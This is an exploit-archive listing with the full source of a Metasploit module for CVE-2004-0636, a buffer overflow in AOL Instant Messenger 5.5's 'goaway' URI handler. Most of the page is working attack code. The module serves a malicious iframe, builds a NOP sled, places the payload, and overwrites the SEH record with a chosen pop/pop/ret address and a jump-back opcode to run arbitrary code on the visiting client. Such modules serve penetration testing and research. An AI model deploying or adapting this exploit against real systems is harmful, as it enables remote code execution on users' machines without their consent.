what you don't know can hurt you

AOL Instant Messenger goaway Overflow

AOL Instant Messenger goaway Overflow
Posted Nov 26, 2009
Authored by skape, thief | Site metasploit.com

This Metasploit module exploits a flaw in the handling of AOL Instant Messenger's 'goaway' URI handler. An attacker can execute arbitrary code by supplying a overly sized buffer as the 'message' parameter. This issue is known to affect AOL Instant Messenger 5.5.

tags | exploit, arbitrary
advisories | CVE-2004-0636
MD5 | 4fae910f9a5bd3cc5c5719545a2c7926

AOL Instant Messenger goaway Overflow

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##
# $Id$
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##


require 'msf/core'


class Metasploit3 < Msf::Exploit::Remote

#
# This module acts as an HTTP server and exploits an SEH overwrite
#
include Msf::Exploit::Seh
include Msf::Exploit::Remote::HttpServer::HTML

def initialize(info = {})
super(update_info(info,
'Name' => 'AOL Instant Messenger goaway Overflow',
'Description' => %q{
This module exploits a flaw in the handling of AOL Instant
Messenger's 'goaway' URI handler. An attacker can execute
arbitrary code by supplying a overly sized buffer as the
'message' parameter. This issue is known to affect AOL Instant
Messenger 5.5.
},
'License' => MSF_LICENSE,
'Author' =>
[
'skape',
'thief <thief@hick.org>'
],
'Version' => '$Revision$',
'References' =>
[
[ 'CVE', '2004-0636' ],
[ 'OSVDB', '8398' ],
[ 'BID', '10889'],
[ 'URL', 'http://www.idefense.com/application/poi/display?id=121&type=vulnerabilities' ],
],
'Payload' =>
{
'Space' => 1014,
'MaxNops' => 1014,
'BadChars' => "\x00\x09\x0a\x0d\x20\x22\x25\x26\x27\x2b\x2f\x3a\x3c\x3e\x3f\x40",
'StackAdjustment' => -3500,
},
'Targets' =>
[
# Target 0: Automatic
[
'Windows NT/2000/XP/2003 Automatic',
{
'Platform' => 'win',
'Rets' =>
[
0x1108118f, # proto.com: pop/pop/ret
],
},
],
],
'DefaultTarget' => 0))
end

def on_request_uri(cli, request)
# Re-generate the payload
return if ((p = regenerate_payload(cli)) == nil)

# Build out the message
msg =
make_nops(1014 - p.encoded.length) + # NOP sled before the payload
p.encoded + # store the payload
generate_seh_record(target['Rets'][0]) + # set up the SEH frame
"\x90\xe9\x13\xfc\xff\xff" # jmp -1000

# Build the HTML content
content = "<html><iframe src='aim:goaway?message=#{msg}'></html>"

print_status("Sending exploit to #{cli.peerhost}:#{cli.peerport}...")

# Transmit the response to the client
send_response_html(cli, content)

# Handle the payload
handler(cli)
end

end

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